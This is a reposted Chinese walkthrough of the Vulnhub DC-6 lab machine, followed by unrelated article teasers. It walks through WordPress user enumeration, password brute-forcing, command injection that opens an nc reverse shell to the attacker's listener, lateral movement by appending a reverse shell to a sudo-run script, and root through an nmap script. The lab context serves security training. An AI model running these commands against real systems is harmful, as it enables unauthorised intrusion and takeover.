Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程

news2025/1/13 10:27:42

Vulnhub靶机 DC-6 详细渗透流程 打靶实战

目录

  • Vulnhub靶机 DC-6 详细渗透流程 打靶实战
    • 一、将靶机导入到虚拟机当中
    • 二、渗透测试
      • 主机发现
      • 端口扫描
      • 信息探测
      • web渗透
        • 目录爆破
        • 爆破后台密码
        • 反弹shell
        • 搜集有价值信息
        • SSH远程登录
        • 提权
        • 反弹jens用户权限的shell 提权利用

一、将靶机导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-6,315/

image-20240420155007993

二、渗透测试

主机发现

通过使用arp-scan命令或者使用nmap命令进行主机发现

arp-scan -l

image-20240420155133549

端口扫描

nmap -p- 192.168.0.106

image-20240420155207724

开发22和80端口,且服务为SSH和HTTP服务,详细探测一下

nmap -p80 -sV -A 192.168.0.106
whatweb http://192.168.0.106

image-20240420155340749

信息探测

发现此web服务采用WordPress CMS

image-20240420155438359

访问web界面:访问前先配置一下hosts本地解析

image-20240420155540636

修改完成后即可完成本地域名解析,成功访问,并通过浏览器插件信息收集到此网站的一些服务信息和版本信息

image-20240420155521234

web渗透

通过信息收集得到使用WordPress CMS,那么直接使用kali的wpscan工具进行扫描探测,并枚举用户信息

wpscan --url http://wordy -e u

成功枚举出五位用户的信息,并保存到记事本当中

image-20240420155912465

目录爆破

爆破网站的目录,获取信息

dirsearch -u http://wordy -i 200

发现网站的登录界面,进行访问

image-20240420160058052

image-20240420160148033

爆破后台密码

通过我们之前得到的用户名信息,可进行密码的爆破

ps:根据作者的提示,从密码字典当中保存以下密码,可节省时间

image-20240420160339534

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

wpscan --url http://wordy -U user.txt -P passwords.txt

成功爆破出mark的用户名密码信息,登录后台

用户名:mark
密码:helpdesk01

image-20240420160757960

成功登入后台,发现有可执行命令的地方,在Activity monitor插件处

image-20240420161000851

反弹shell

此工具为ip测试工具,测试一下,输入127.0.0.1

image-20240420161331912

可成功,那么接下来进行拼接系统命令,测试可否正常回显

127.0.0.1 | ls

image-20240420161455509

发现可以正常的命令回显,那么接下来直接进行反弹shell,kali端开启监听

//靶机:
127.0.0.1 | nc -e /bin/bash 192.168.0.107 8888

//kali
nc -lvvp 8888

由于输入长度有限制,可以修改前端代码或者使用burp直接修改数据包

image-20240420161845407

或者使用burp修改数据包

image-20240420162057811

成功接收shell,此shell权限为www-data权限,普通权限

image-20240420161908851

获取稳定shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240420162203112

搜集有价值信息

当前目录下无可利用的文件信息,查看家目录,发现有四个用户信息,逐一查看,发现在jens家目录和mark家目录下有文件信息,逐一查看

jens家目录下的文件为一个shell脚本,内容为打包网站的信息

image-20240420171213647

SSH远程登录

mark家目录下有一个文件夹,文件夹当中为一个txt文本文件,查看后发现graham用户的信息,尝试ssh远程登录到graham

ssh graham@192.168.0.106

image-20240420171400193

image-20240420171442670

提权

查找suid权限内容

find / -perm -u=s -type f 2>/dev/null

image-20240420171542905

sudo利用失败

image-20240420171753483

image-20240420171820897

/etc目录下也无可利用文件,/etc/passwd等文件均无法利用

反弹jens用户权限的shell 提权利用
sudo -l

查看sudo -l 下的内容,发现有jens用户权限执行的脚本,正是刚才我们刚才看见的shell脚本,接下来可以利用此,来反弹jens用户权限的shell

image-20240420171842323

echo "nc -e /bin/bash 192.168.0.107 6666" >> backups.sh 

image-20240420172048916

sudo -u jens /home/jens/backups.sh

image-20240420172328091

kali端成功接收到shell

image-20240420172317396

sudo -l 再次查看一下jens用户下的有无root用户可执行的命令或者脚本,发现存在nmap命令,并以root权限执行

image-20240420172416627

接下来就是利用nmap进行提权,首先创建一个脚本

touch root_shell.sh
echo 'os.execute("/bin/sh")' > root_shell.sh
sudo nmap --script=root_shell.sh

成功提权,通关

image-20240420172732668

文章不妥之处,欢迎批评指正!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1618313.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用kali进行DDos攻击

使用kali进行DDos攻击 1、打开命令提示符,下载DDos-Attack python脚本 git clone https://github.com/Elsa-zlt/DDos-Attack 2、下载好之后,cd到DDos-Attack文件夹下 cd DDos-Attack 3、修改(设置)对ddos-attack.py文件执行的权…

OpenHarmony实战开发-

简介 SmartPerf-Host是一款深入挖掘数据、细粒度展示数据的性能功耗调优工具,可采集CPU调度、频点、进程线程时间片、堆内存、帧率等数据,采集的数据通过泳道图清晰地呈现给开发者,同时通过GUI以可视化的方式进行分析。该工具当前为开发者提…

理发师问题的业务建模方案

背景 题目: 假设有一个理发店只有一个理发师,一张理发时坐的椅子,若干张普通椅子顾客供等候时坐。没有顾客时,理发师睡觉。顾客一到,叫醒理发师 。如果理发师没有睡觉,而在为别人理发,他就会坐…

【git】多仓库开发

通常我们习惯了在单个仓库下多分支开发,最近用了多仓库开发,我拿一个开源项目举例,总结一下基本流程。 1.fork项目到自己仓库 2.把自己仓库项目pull到本地 3.在本地新建开发分支 git checkout -b dev 4.修改/添加分支对应的远程仓库 修…

数据通信核心

一.认识网络设备 互联网网络设备有AC,AP,防火墙,路由器,交换机等。 这里我们一起了解一下 框式交换机—— 主控板相当于大脑,属于控制平面 交换机网板——数据平面,转发平面——进行不同网卡之间的数据交换(设备内部之间的转发…

(2024)Visual Studio的介绍、安装与使用

Visual Studio介绍 1.Visual Studio是什么? Visual Studio是微软公司推出的一款开发工具包系列产品,它是一个基本完整的开发工具集,为软件开发者提供了整个软件生命周期中所需的大部分工具。 2.Visual Studio的定义 Visual Studio是美国微软公…

智慧图书馆为什么用rfid电子标签而不是磁条

智慧图书馆一般都会使用RFID技术,而不是磁条。以下是几个原因: 1. 效率更高:RFID技术可以实现非接触式读取,图书馆工作人员可以同时读取多本书的信息,大大提高了借还书的效率。 2. 数据量更大:RFID标签可以…

多项式和Bezier曲线拟合

目录 1. 多项式拟合2. Bezier曲线拟合3. 源码地址 1. 多项式拟合 在曲线拟合中,多项式拟合方法的性能受到三个主要因素的影响:采样点个数、多项式阶数和正则项。 采样点个数 N N N:从Figure 1中可以看出较少的采样点个数可能导致过拟合&…

npm install 卡在still idealTree buildDeps不动

前言 再使用npm install 安装包依赖时 发现一直卡住 停留在 观察node_cache下的_logs文件 发现一直在拉取包 37 silly idealTree buildDeps 38 silly fetch manifest riophae/vue-treeselect0.4.0尝试解决 尝试设置了taobao镜像源 依然如此 获取已经设置的镜像源 确实是ta…

Vue3:响应式数据的基本使用(ref、reactive)

一、前言 在Vue3中,如果数据不是响应式数据,当数据的值发生改变时,页面上的数据是不会发生改变的。因此本文主要介绍Vue3中响应式数据的使用,包括ref和reactive的基本使用。 二、ref 1、ref —— 创建基本类型的响应式数据 re…

java泛型介绍

Java 泛型是 JDK 5 引入的一个特性,它允许我们在定义类、接口和方法时使用类型参数,从而使代码更加灵活和类型安全。泛型的主要目的是在编译期提供类型参数,让程序员能够在编译期间就捕获类型错误,而不是在运行时才发现。这样做提…

SSH远程连接服务实战

题目: 一.配置两台主机 主机1、 主机名: server.example.com ip: 192.168.78.129 建立用户timinglee,其密码为timinglee 主机2、 主机名:client.example.com ip: 192.168.78.128 2.安需求完成项目 192.168.78.128 在远程登录192.168.78.129的…

为什么我的 Mac 运行缓慢以及如何使用CleanMyMac X修复它

近些年伴随着苹果生态的蓬勃发展,越来越多的用户开始尝试接触Mac电脑。然而很多人上手Mac后会发现,它的使用逻辑与Windows存在很多不同,而且随着使用时间的增加,一些奇奇怪怪的文件也会占据有限的磁盘空间,进而影响使用…

大型集团企业 怎么实现多区域文件交换?

很多大型集团企业,都会在全国各地,甚至海外,都设立分支机构,还有银行、邮政这类机构,都会在全国各地设立多个支行和网点,所以在日常经营过程中,都会存在多区域文件交换的场景。 大型集团企业在进…

中国人民解放军信息支援部队成立

中国人民解放军信息支援部队成立 ----------强化信息化战争能力,维护国家安全 阅读须知: 探索者安全团队技术文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用本公众号所提供的技术和信息而造成的任何直接或…

Linux进程详解二:创建、状态、进程排队

文章目录 进程创建进程状态进程排队 进程创建 pid_t fork(void) 创建一个子进程成功将子进程的pid返回给父进程,0返回给新创建的子进程 fork之后有两个执行分支(父和子),fork之后代码共享 bash -> 父 -> 子 创建一个进…

比特币成长的代价

作者:Jeffrey Tucker,作家和总裁。曾就经济、技术、社会哲学和文化等话题广泛发表演讲。编译:秦晋 2017 年之后参与比特币市场的人遇到了与之前的人不同的操作和理想。如今,没有人会太在意之前的事情,说的是 2010-2016…

【源码】2024新版台股平台源码新股申购/折扣申购/计划任务/带前端uniapp源码

台股平台源码/新股申购/折扣申购 计划任务uniapp源码 简单测试了一下,可以跑起来。测试时没有配置计划任务和WebSocket 。有兴趣的自行研究。 PHP版本7.3,其他版本提示错误。H5版本访问:域名/index.html 后台地址:域名/houtai.…

第二期书生浦语大模型训练营第五次笔记

模型部署 模型部署对于任何大模型来说是非常关键的一步。一旦模型经过训练并达到预期的性能指标,就需要将其部署到实际的生产环境中,为最终用户提供服务。但是在部署过程中,大型模型会面临一些独特的挑战。 面临的挑战 大模型在部署方面有一个难题,就是大模型的“大…

力扣---填充每个节点的下一个右侧节点指针 II

给定一个二叉树: struct Node {int val;Node *left;Node *right;Node *next; } 填充它的每个 next 指针,让这个指针指向其下一个右侧节点。如果找不到下一个右侧节点,则将 next 指针设置为 NULL 。 初始状态下,所有 next 指针都…